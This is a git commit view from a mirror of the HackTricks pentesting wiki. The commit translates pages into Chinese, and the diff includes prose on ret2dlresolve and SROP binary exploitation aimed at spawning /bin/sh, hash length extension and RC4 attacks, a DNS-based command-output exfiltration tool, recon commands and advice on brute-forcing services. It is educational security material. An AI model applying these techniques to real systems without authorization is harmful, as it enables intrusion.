maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/README.md', 'src/binary-exploitation/rop-return-oriente

Browse Source
This commit is contained in:
Translator 2025-01-03 18:03:43 +00:00
parent 22ead85837
commit 059cbf37e1
73 changed files with 1417 additions and 1135 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

7
hacktricks-preprocessor.py
View File

@ -69,6 +69,12 @@ def ref(matchobj):
return result
def add_read_time(content):
regex = r'(<\/style>\n# .*(?=\n))'
new_content = re.sub(regex, lambda x: x.group(0) + "\n\nReading time: {{ #reading_time }}", content)
return new_content
def iterate_chapters(sections):
if isinstance(sections, dict) and "PartTitle" in sections: # Not a chapter section
return
@ -99,6 +105,7 @@ if __name__ == '__main__':
current_chapter = chapter
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
new_content = re.sub(regex, ref, chapter['content'])
new_content = add_read_time(new_content)
chapter['content'] = new_content
content = json.dumps(book)

61
src/README.md
View File

@ -1,13 +1,10 @@
# HackTricks
阅读时间: {{ #reading_time }}
<figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
_Hacktricks 标志和动态设计由_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
_Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
> [!TIP]
> **欢迎来到这个维基，在这里你将找到我从CTF、现实应用、阅读研究和新闻中学到的每一个黑客技巧/技术/无论是什么。**
> [!TIP] > **欢迎来到这个维基，在这里你将找到我从CTF、现实生活应用、阅读研究和新闻中学到的每一个黑客技巧/技术/无论是什么。**
要开始，请遵循此页面，在这里你将找到**你在进行一个或多个机器的渗透测试时应该遵循的典型流程：**
@ -15,7 +12,7 @@ _Hacktricks 标志和动态设计由_ [_@ppiernacho_](https://www.instagram.com/
generic-methodologies-and-resources/pentesting-methodology.md
{{#endref}}
## 企业赞助商
## Corporate Sponsors
### [STM Cyber](https://www.stmcyber.com)
@ -33,9 +30,11 @@ generic-methodologies-and-resources/pentesting-methodology.md
<figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) 是**西班牙**最重要的网络安全事件之一，也是**欧洲**最重要的活动之一。这个大会的**使命是促进技术知识**，是技术和网络安全专业人士在各个学科的一个热闹的交流点。
[**RootedCON**](https://www.rootedcon.com) 是**西班牙**最重要的网络安全事件之一，也是**欧洲**最重要的活动之一。这个大会的**使命是促进技术知识**，是各个学科的技术和网络安全专业人士的热烈交流点。
{% embed url="https://www.rootedcon.com/" %}
{{#ref}}
https://www.rootedcon.com/
{{#endref}}
---
@ -45,9 +44,11 @@ generic-methodologies-and-resources/pentesting-methodology.md
**Intigriti** 是**欧洲第一**的道德黑客和**漏洞赏金平台**。
**漏洞赏金提示**：**注册** **Intigriti**，这是一个由黑客为黑客创建的高级**漏洞赏金平台**！今天就加入我们 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)，开始赚取高达**$100,000**的赏金！
**漏洞赏金提示**：**注册** **Intigriti**，这是一个由黑客为黑客创建的高级**漏洞赏金平台**！今天就加入我们，访问 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)，开始赚取高达**$100,000**的赏金！
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#ref}}
https://go.intigriti.com/hacktricks
{{#endref}}
---
@ -60,7 +61,9 @@ generic-methodologies-and-resources/pentesting-methodology.md
今天就获取访问权限：
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{{#ref}}
https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
{{#endref}}
---
@ -74,7 +77,7 @@ generic-methodologies-and-resources/pentesting-methodology.md
- **实时黑客新闻**：通过实时新闻和见解，跟上快速变化的黑客世界
- **最新公告**：了解最新的漏洞赏金发布和重要平台更新
**今天就加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy)，开始与顶级黑客合作！
**今天就加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy)，开始与顶级黑客合作吧！
---
@ -86,7 +89,9 @@ generic-methodologies-and-resources/pentesting-methodology.md
**查找并报告具有实际商业影响的关键、可利用的漏洞。** 使用我们20多个自定义工具来映射攻击面，查找让你提升权限的安全问题，并使用自动化漏洞利用收集重要证据，将你的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#ref}}
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
{{#endref}}
---
@ -96,12 +101,12 @@ generic-methodologies-and-resources/pentesting-methodology.md
**SerpApi** 提供快速且简单的实时API，以**访问搜索引擎结果**。他们抓取搜索引擎，处理代理，解决验证码，并为你解析所有丰富的结构化数据。
订阅SerpApi的计划之一包括访问超过50个不同的API，用于抓取不同的搜索引擎，包括Google、Bing、百度、Yahoo、Yandex等。\
与其他提供商不同，**SerpApi不仅仅抓取自然结果**。SerpApi的响应始终包括所有广告、内联图像和视频、知识图谱以及搜索结果中存在的其他元素和功能。
订阅SerpApi的计划之一包括访问50多个不同的API，用于抓取不同的搜索引擎，包括Google、Bing、百度、Yahoo、Yandex等。\
与其他提供商不同，**SerpApi不仅仅抓取自然结果**。SerpApi的响应始终包括所有广告、内嵌图像和视频、知识图谱以及搜索结果中存在的其他元素和功能。
当前的SerpApi客户包括**Apple、Shopify和GrubHub**。\
有关更多信息，请查看他们的[**博客**](https://serpapi.com/blog/)**，**或在他们的[**游乐场**](https://serpapi.com/playground)**中尝试一个示例。**\
你可以在[**这里**](https://serpapi.com/users/sign_up)**创建一个免费账户。**
有关更多信息，请查看他们的 [**博客**](https://serpapi.com/blog/)**，**或在他们的 [**游乐场**](https://serpapi.com/playground)**中尝试示例。**\
你可以在 [**这里**](https://serpapi.com/users/sign_up)** 创建一个免费账户。**
---
@ -111,7 +116,9 @@ generic-methodologies-and-resources/pentesting-methodology.md
学习执行漏洞研究、渗透测试和逆向工程所需的技术和技能，以保护移动应用和设备。通过我们的按需课程**掌握iOS和Android安全**并**获得认证**：
{% embed url="https://academy.8ksec.io/" %}
{{#ref}}
https://academy.8ksec.io/
{{#endref}}
---
@ -119,17 +126,19 @@ generic-methodologies-and-resources/pentesting-methodology.md
<figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl) 是一家总部位于**阿姆斯特丹**的专业网络安全公司，帮助**保护**全球企业免受最新网络安全威胁，通过提供**进攻性安全服务**以**现代**的方式。
[**WebSec**](https://websec.nl) 是一家总部位于**阿姆斯特丹**的专业网络安全公司，帮助**保护**全球各地的企业免受最新网络安全威胁，通过提供**进攻性安全服务**以**现代**的方式。
WebSec 是一家**一体化安全公司**，这意味着他们做所有事情；渗透测试、**安全**审计、意识培训、网络钓鱼活动、代码审查、漏洞开发、安全专家外包等等。
WebSec 是一家**一体化安全公司**，这意味着他们可以做所有事情；渗透测试、**安全**审计、意识培训、网络钓鱼活动、代码审查、漏洞开发、安全专家外包等等。
WebSec的另一个酷点是，与行业平均水平不同，WebSec对他们的技能**非常自信**，以至于他们**保证最佳质量结果**，他们在网站上声明“**如果我们无法攻破它，你就不需要支付！**”。有关更多信息，请查看他们的[**网站**](https://websec.nl/en/)和[**博客**](https://websec.nl/blog/)！
WebSec的另一个酷点是，与行业平均水平不同，WebSec对他们的技能**非常自信**，甚至到**保证最佳质量结果**的程度，他们在网站上声明“**如果我们无法攻破它，你就不需要支付！**”。有关更多信息，请查看他们的 [**网站**](https://websec.nl/en/) 和 [**博客**](https://websec.nl/blog/)！
除了上述内容，WebSec 还是**HackTricks的坚定支持者**。
除了上述内容，WebSec 还是 **HackTricks** 的坚定支持者。
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
{{#ref}}
https://www.youtube.com/watch?v=Zq2JycGDCPM
{{#endref}}
## 许可证和免责声明
## License & Disclaimer
查看他们在：
@ -137,8 +146,8 @@ WebSec的另一个酷点是，与行业平均水平不同，WebSec对他们的
welcome/hacktricks-values-and-faq.md
{{#endref}}
## Github 统计
## Github Stats
![HackTricks Github 统计](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg)
![HackTricks Github Stats](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg)
{{#include ./banners/hacktricks-training.md}}

12
src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md
View File

@ -4,7 +4,7 @@
## 基本信息
正如在关于 [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) 和 [**Relro**](../common-binary-protections-and-bypasses/relro.md) 的页面中所解释的，缺少完整 Relro 的二进制文件在第一次使用时会解析符号（如外部库的地址）。这种解析通过调用函数 **`_dl_runtime_resolve`** 进行。
正如在关于 [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) 和 [**Relro**](../common-binary-protections-and-bypasses/relro.md) 的页面中解释的，缺少完整 Relro 的二进制文件在第一次使用时会解析符号（如外部库的地址）。这种解析通过调用函数 **`_dl_runtime_resolve`** 进行。
**`_dl_runtime_resolve`** 函数从栈中获取对一些它需要的结构的引用，以便 **解析** 指定的符号。
@ -13,11 +13,13 @@
通常，所有这些结构都是通过制作一个 **初始 ROP 链来调用 `read`** 在可写内存上，然后将 **结构** 和字符串 **`'/bin/sh'`** 传递，以便它们被读取存储在已知位置，然后 ROP 链继续通过调用 **`_dl_runtime_resolve`**，使其 **解析 `system` 的地址** 在伪造的结构中，并 **使用 `$'/bin/sh'` 的地址调用该地址**。
> [!TIP]
> 如果没有 syscall gadgets（使用诸如 [**ret2syscall**](rop-syscall-execv/) 或 [SROP](srop-sigreturn-oriented-programming/) 等技术），并且没有方法泄漏 libc 地址，这种技术特别有用。
> 如果没有 syscall gadgets（使用诸如 [**ret2syscall**](rop-syscall-execv/) 或 [SROP](srop-sigreturn-oriented-programming/) 的技术），并且没有方法泄漏 libc 地址，这种技术特别有用。
查看这个视频，了解该技术在视频后半部分的精彩解释：
查看这个视频，了解关于这种技术的精彩解释，视频的后半部分：
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
{{#ref}}
https://youtu.be/ADULSwnQs-s?feature=shared
{{#endref}}
或者查看这些页面以获取逐步解释：
@ -186,6 +188,6 @@ target.interactive()
- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
- [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
- 32位，无relro，无canary，nx，无pie，基本的小缓冲区溢出和返回。为了利用它，bof被用来再次调用`read`，使用一个`.bss`段和更大的大小，将`dlresolve`伪表存储在其中，以加载`system`，返回到main并重新利用初始bof调用dlresolve，然后`system('/bin/sh')`。
- 32位，无relro，无canary，nx，无pie，基本的小缓冲区溢出和返回。为了利用它，bof被用来再次调用`read`，使用一个`.bss`段和更大的大小，以在其中存储`dlresolve`伪表以加载`system`，返回到main并重新利用初始bof调用dlresolve，然后`system('/bin/sh')`。
{{#include ../../banners/hacktricks-training.md}}

18
src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
View File

@ -6,12 +6,12 @@
**`Sigreturn`** 是一个特殊的 **syscall**，主要用于在信号处理程序完成其执行后进行清理。信号是操作系统发送给程序的中断，通常用于指示发生了一些异常情况。当程序接收到信号时，它会暂时暂停当前工作，以通过 **信号处理程序** 处理信号，这是一种专门用于处理信号的函数。
在信号处理程序完成后，程序需要 **恢复其先前的状态**，就像什么都没有发生一样。这就是 **`sigreturn`** 发挥作用的地方。它帮助程序 **从信号处理程序返回**，并通过清理信号处理程序使用的堆栈帧（存储函数调用和局部变量的内存区域）来恢复程序的状态。
在信号处理程序完成后，程序需要 **恢复其先前的状态**，就像什么都没有发生一样。这就是 **`sigreturn`** 发挥作用的地方。它帮助程序 **从信号处理程序返回**，并通过清理信号处理程序使用的栈帧（存储函数调用和局部变量的内存区域）来恢复程序的状态。
有趣的是 **`sigreturn`** 是如何恢复程序状态的：它通过将 **所有 CPU 的寄存器值存储在堆栈上** 来实现。当信号不再被阻塞时，**`sigreturn` 从堆栈中弹出这些值**，有效地将 CPU 的寄存器重置为处理信号之前的状态。这包括指向当前堆栈顶部的堆栈指针寄存器（RSP）。
有趣的是 **`sigreturn`** 是如何恢复程序状态的：它通过将 **所有 CPU 的寄存器值存储在栈上** 来实现。当信号不再被阻塞时，**`sigreturn` 从栈中弹出这些值**，有效地将 CPU 的寄存器重置为处理信号之前的状态。这包括指向当前栈顶的栈指针寄存器（RSP）。
> [!CAUTION]
> 从 ROP 链中调用 syscall **`sigreturn`** 并 **添加我们希望加载到堆栈中的寄存器值**，可以 **控制** 所有寄存器值，因此 **调用** 例如 syscall `execve` 和 `/bin/sh`。
> 从 ROP 链中调用 syscall **`sigreturn`** 并 **添加我们希望加载到 **栈** 中的寄存器值，可以 **控制** 所有寄存器值，因此 **调用** 例如 syscall `execve` 和 `/bin/sh`。
请注意，这将是一种 **Ret2syscall** 类型，使得控制参数以调用其他 Ret2syscalls 变得更加容易：
@ -19,7 +19,7 @@
../rop-syscall-execv/
{{#endref}}
如果你感兴趣，这是存储在堆栈中的 **sigcontext 结构**，以便稍后恢复值（图表来自 [**这里**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)）：
如果你感兴趣，这是存储在栈中的 **sigcontext 结构**，以便稍后恢复值（图示来自 [**这里**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)）：
```
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
@ -57,11 +57,13 @@
```
为了更好的解释，请查看：
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
{{#ref}}
https://youtu.be/ADULSwnQs-s?feature=shared
{{#endref}}
## 示例
您可以在[**这里找到一个示例**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop)，其中通过 ROP 构造对 signeturn 的调用（将值 `0xf` 放入 rxa），尽管这只是最终的利用：
您可以在[**这里找到一个示例**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop)，其中通过 ROP 构造了对 signeturn 的调用（将值 `0xf` 放入 rxa），尽管这只是最终的利用：
```python
from pwn import *
@ -132,8 +134,8 @@ target.interactive()
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
- 64位，无relro，无canary，nx，无pie。简单的缓冲区溢出，利用`gets`函数，缺乏执行[**ret2syscall**](../rop-syscall-execv/)的gadgets。ROP链通过再次调用gets将`/bin/sh`写入`.bss`，利用**`alarm`**函数将eax设置为`0xf`以调用**SROP**并执行一个shell。
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
- 64位汇编程序，无relro，无canary，nx，无pie。流程允许在栈中写入，控制多个寄存器，并调用系统调用，然后调用`exit`。选择的系统调用是`sigreturn`，它将设置寄存器并移动`eip`以调用先前的系统调用指令，并运行`memprotect`将二进制空间设置为`rwx`并设置ESP在二进制空间中。按照流程，程序将再次调用read到ESP，但在这种情况下ESP将指向下一个指令，因此传递一个shellcode将其写为下一个指令并执行。
- 64位汇编程序，无relro，无canary，nx，无pie。流程允许在栈中写入，控制多个寄存器，并调用系统调用，然后调用`exit`。选择的系统调用是`sigreturn`，它将设置寄存器并移动`eip`以调用先前的系统调用指令并运行`memprotect`以将二进制空间设置为`rwx`并设置ESP在二进制空间中。按照流程，程序将再次调用read到ESP，但在这种情况下ESP将指向下一个指令，因此传递一个shellcode将其写为下一个指令并执行。
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
- SROP用于赋予执行权限（memprotect）给放置shellcode的地方。
- SROP用于为放置shellcode的地方赋予执行权限（memprotect）。
{{#include ../../../banners/hacktricks-training.md}}

4
src/burp-suite.md
View File

@ -10,7 +10,9 @@
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : 用于执行命令并通过 DNS 请求获取输出的有效载荷到 burpcollab。
{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %}
{{#ref}}
https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e
{{#endref}}
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)

4
src/crypto-and-stego/esoteric-languages.md
View File

@ -48,7 +48,9 @@ Take it to the top
Whisper my world
```
{% embed url="https://codewithrockstar.com/" %}
{{#ref}}
https://codewithrockstar.com/
{{#endref}}
## PETOOH
```

12
src/crypto-and-stego/hash-length-extension-attack.md
View File

@ -11,13 +11,13 @@
- **算法（并且它对这种攻击是脆弱的）**
- **填充是已知的**
- 通常使用默认填充，因此如果满足其他三个要求，这也是
- 填充根据秘密+数据的长度而变化，这就是为什么需要知道秘密的长度
- 填充根据秘密+数据的长度而变化，这就是为什么需要秘密的长度
那么，**攻击者**可以**附加****数据**并为**之前的数据 + 附加的数据**生成一个有效的**签名**。
### 如何？
基本上，脆弱的算法首先通过**哈希一个数据块**来生成哈希，然后，从**之前**创建的**哈希**（状态）中，他们**添加下一个数据块**并**对其进行哈希**。
基本上，脆弱的算法首先通过**哈希一个数据块**来生成哈希，然后，从**之前**创建的**哈希**（状态）中，他们**添加下一个数据块**并**哈希它**。
然后，想象秘密是“secret”，数据是“data”，"secretdata"的MD5是6036708eba0d11f6ef52ad44e8b74d5b。\
如果攻击者想要附加字符串“append”，他可以：
@ -29,10 +29,12 @@
### **工具**
{% embed url="https://github.com/iagox86/hash_extender" %}
{{#ref}}
https://github.com/iagox86/hash_extender
{{#endref}}
### 参考
### 参考文献
你可以在[https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)找到对此攻击的详细解释。
你可以在[https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)找到对这个攻击的详细解释。
{{#include ../banners/hacktricks-training.md}}

12
src/crypto-and-stego/rc4-encrypt-and-decrypt.md
View File

@ -1,11 +1,15 @@
{{#include ../banners/hacktricks-training.md}}
如果你能以某种方式使用 RC4 加密明文，你可以仅使用加密函数解密任何使用相同密码加密的内容。
如果你能够以某种方式使用 RC4 加密明文，你可以仅使用加密函数解密任何使用相同密码加密的内容。
如果你能加密已知的明文，你也可以提取密码。更多参考资料可以在 HTB Kryptos 机器中找到：
如果你可以加密已知的明文，你也可以提取密码。更多参考资料可以在 HTB Kryptos 机器中找到：
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

12
src/cryptography/hash-length-extension-attack.md
View File

@ -2,13 +2,13 @@
# 攻击总结
想象一个服务器，它通过将一个**秘密**附加到一些已知的明文数据上并对该数据进行**签名**。如果你知道：
想象一个服务器，它通过将一个**秘密**附加到一些已知的明文数据上并对该数据进行**签名**来**签名**一些**数据**。如果你知道：
- **秘密的长度**（这也可以从给定的长度范围进行暴力破解）
- **秘密的长度**（这也可以从给定的长度范围中暴力破解）
- **明文数据**
- **算法（并且它对这种攻击是脆弱的）**
- **填充是已知的**
- 通常使用默认填充，因此如果满足其他三个要求，这也是
- 通常使用默认填充，因此如果满足其他3个要求，这也是
- 填充根据秘密+数据的长度而变化，这就是为什么需要秘密的长度
那么，**攻击者**可以**附加****数据**并为**之前的数据 + 附加的数据**生成一个有效的**签名**。
@ -27,10 +27,12 @@
## **工具**
{% embed url="https://github.com/iagox86/hash_extender" %}
{{#ref}}
https://github.com/iagox86/hash_extender
{{#endref}}
## 参考
你可以在[https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)找到对这个攻击的详细解释。
你可以在[https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)找到对此攻击的详细解释。
{{#include ../banners/hacktricks-training.md}}

8
src/cryptography/rc4-encrypt-and-decrypt.md
View File

@ -4,8 +4,12 @@
如果你能加密已知的明文，你也可以提取密码。更多参考资料可以在 HTB Kryptos 机器中找到：
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

160
src/generic-methodologies-and-resources/external-recon-methodology/README.md
View File

@ -4,31 +4,31 @@
## 资产发现
> 所以你被告知某家公司拥有的一切都在范围内，你想弄清楚这家公司实际上拥有什么。
> 所以你被告知某家公司所有的东西都在范围内，你想弄清楚这家公司实际上拥有些什么。
这个阶段的目标是获取**主要公司拥有的所有公司**，然后获取这些公司的**资产**。为此，我们将：
这个阶段的目标是获取**母公司拥有的所有公司**，然后获取这些公司的**资产**。为此，我们将：
1. 找到主要公司的收购，这将给我们范围内的公司。
1. 找到母公司的收购，这将给我们范围内的公司。
2. 找到每个公司的ASN（如果有的话），这将给我们每个公司拥有的IP范围。
3. 使用反向whois查找搜索与第一个相关的其他条目（组织名称、域名...）（这可以递归进行）。
4. 使用其他技术，如shodan `org`和`ssl`过滤器来搜索其他资产（`ssl`技巧可以递归进行）。
### **收购**
首先，我们需要知道**主要公司拥有的其他公司**。\
一个选项是访问[https://www.crunchbase.com/](https://www.crunchbase.com)，**搜索** **主要公司**，并**点击**“**收购**”。在那里你将看到主要公司收购的其他公司。\
另一个选项是访问主要公司的**维基百科**页面并搜索**收购**。
首先，我们需要知道**母公司拥有的其他公司**。\
一个选项是访问[https://www.crunchbase.com/](https://www.crunchbase.com)，**搜索**母公司，并**点击**“**收购**”。在那里你将看到母公司收购的其他公司。\
另一个选项是访问母公司的**维基百科**页面并搜索**收购**。
> 好吧，在这一点上你应该知道范围内的所有公司。让我们弄清楚如何找到它们的资产。
> 好吧，到这个时候你应该知道范围内的所有公司。让我们弄清楚如何找到它们的资产。
### **ASNs**
自治系统编号（**ASN**）是由**互联网分配号码管理局（IANA）**分配给**自治系统**（AS）的**唯一编号**。\
一个**AS**由**IP地址**的**块**组成，这些块具有明确的外部网络访问政策，并由单个组织管理，但可能由多个运营商组成。
一个**AS**由**IP地址**的**块**组成，这些块有明确的政策来访问外部网络，并由单一组织管理，但可能由多个运营商组成。
找出**公司是否分配了任何ASN**以查找其**IP范围**是很有趣的。对所有**范围内的主机**进行**漏洞测试**并**查找这些IP内的域名**将是很有趣的。\
你可以在[**https://bgp.he.net/**](https://bgp.he.net)**中按公司**名称、**IP**或**域**进行**搜索**。\
**根据公司的地区，这些链接可能对收集更多数据有用：**[**AFRINIC**](https://www.afrinic.net) **（非洲），** [**Arin**](https://www.arin.net/about/welcome/region/) **（北美），** [**APNIC**](https://www.apnic.net) **（亚洲），** [**LACNIC**](https://www.lacnic.net) **（拉丁美洲），** [**RIPE NCC**](https://www.ripe.net) **（欧洲）。无论如何，所有**有用的信息**（IP范围和Whois）可能已经在第一个链接中出现。**
找出**公司是否分配了任何ASN**以查找其**IP范围**是很有趣的。对范围内的所有**主机**进行**漏洞测试**并**查找这些IP内的域名**将是很有趣的。\
你可以在[**https://bgp.he.net/**](https://bgp.he.net)**中按公司**名称、**IP**或**域名**进行**搜索**。\
**根据公司的地区，这些链接可能对收集更多数据有用：** [**AFRINIC**](https://www.afrinic.net) **（非洲），** [**Arin**](https://www.arin.net/about/welcome/region/) **（北美），** [**APNIC**](https://www.apnic.net) **（亚洲），** [**LACNIC**](https://www.lacnic.net) **（拉丁美洲），** [**RIPE NCC**](https://www.ripe.net) **（欧洲）。无论如何，所有的** 有用信息 **（IP范围和Whois）**可能已经在第一个链接中出现。
```bash
#You can try "automate" this with amass, but it's not very recommended
amass intel -org tesla
@ -57,7 +57,7 @@ bbot -t tesla.com -f subdomain-enum
### **寻找漏洞**
此时我们已知 **范围内的所有资产**，因此如果您被允许，可以对所有主机启动一些 **漏洞扫描器**（Nessus, OpenVAS）。\
此外，您还可以启动一些 [**端口扫描**](../pentesting-network/#discovering-hosts-from-the-outside) **或使用像** shodan **这样的服务来查找** 开放端口 **，根据您发现的内容，您应该** 查阅本书了解如何对多个可能运行的服务进行渗透测试。\
此外，您还可以启动一些 [**端口扫描**](../pentesting-network/#discovering-hosts-from-the-outside) **或使用像** shodan **这样的服务来查找** 开放端口 **，根据您发现的内容，您应该** 查阅本书以了解如何对多个可能运行的服务进行渗透测试。\
**此外，值得一提的是，您还可以准备一些** 默认用户名 **和** 密码 **列表，并尝试使用 [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) 进行** 暴力破解服务。
## 域名
@ -70,7 +70,7 @@ _请注意，在以下提出的技术中，您还可以找到子域名，这些
### **反向 DNS**
由于您已找到域名的所有 IP 范围，您可以尝试对这些 **IP 执行反向 DNS 查找，以查找范围内的更多域名**。尝试使用受害者的某些 DNS 服务器或一些知名的 DNS 服务器（1.1.1.1, 8.8.8.8）。
由于您已找到域名的所有 IP 范围，因此可以尝试对这些 **IP 执行反向 DNS 查找，以查找范围内的更多域名**。尝试使用受害者的某些 DNS 服务器或一些知名的 DNS 服务器（1.1.1.1, 8.8.8.8）。
```bash
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
@ -82,13 +82,13 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
### **反向 Whois（循环）**
在 **whois** 中，您可以找到很多有趣的 **信息**，例如 **组织名称**、**地址**、**电子邮件**、电话号码……但更有趣的是，如果您通过这些字段中的任何一个执行 **反向 whois 查询**（例如其他 whois 注册处中出现相同的电子邮件），您可以找到 **与公司相关的更多资产**。\
您可以使用在线工具，例如：
在 **whois** 中，您可以找到很多有趣的 **信息**，如 **组织名称**、**地址**、**电子邮件**、电话号码……但更有趣的是，如果您通过这些字段中的任何一个执行 **反向 whois 查询**（例如其他 whois 注册处中出现相同的电子邮件），您可以找到 **与公司相关的更多资产**。\
您可以使用在线工具，如：
- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **免费**
- [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **免费**
- [https://www.reversewhois.io/](https://www.reversewhois.io) - **免费**
- [https://www.whoxy.com/](https://www.whoxy.com) - **免费** 网站，不免费 API。
- [https://www.whoxy.com/](https://www.whoxy.com) - **免费**网站，不免费API。
- [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - 不免费
- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - 不免费（仅 **100 次免费** 查询）
- [https://www.domainiq.com/](https://www.domainiq.com) - 不免费
@ -96,11 +96,11 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
您可以使用 [**DomLink** ](https://github.com/vysecurity/DomLink) 自动化此任务（需要 whoxy API 密钥）。\
您还可以使用 [amass](https://github.com/OWASP/Amass) 执行一些自动反向 whois 发现：`amass intel -d tesla.com -whois`
**请注意，每次找到新域名时，您都可以使用此技术发现更多域名。**
**请注意，每次找到新域名时，您可以使用此技术发现更多域名。**
### **跟踪器**
如果在两个不同页面中找到 **相同的跟踪器 ID**，您可以推测 **这两个页面** 是 **由同一团队管理**。\
如果在两个不同页面中找到 **相同的跟踪器 ID**，您可以假设 **这两个页面** 是 **由同一团队管理**。\
例如，如果您在多个页面上看到相同的 **Google Analytics ID** 或相同的 **Adsense ID**。
有一些页面和工具可以让您通过这些跟踪器和更多内容进行搜索：
@ -122,7 +122,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
简单来说，favihash 将允许我们发现与我们的目标具有相同 favicon 图标哈希的域。
此外，您还可以使用 favicon 哈希搜索技术，如 [**这篇博客文章**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) 中所述。这意味着如果您知道 **易受攻击的网络技术的 favicon 哈希**，您可以在 shodan 中搜索并 **找到更多易受攻击的地方**：
此外，您还可以使用 favicon 哈希搜索技术，如 [**这篇博客文章**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) 中所述。这意味着如果您知道 **易受攻击的 web 技术的 favicon 哈希**，您可以在 shodan 中搜索并 **找到更多易受攻击的地方**：
```bash
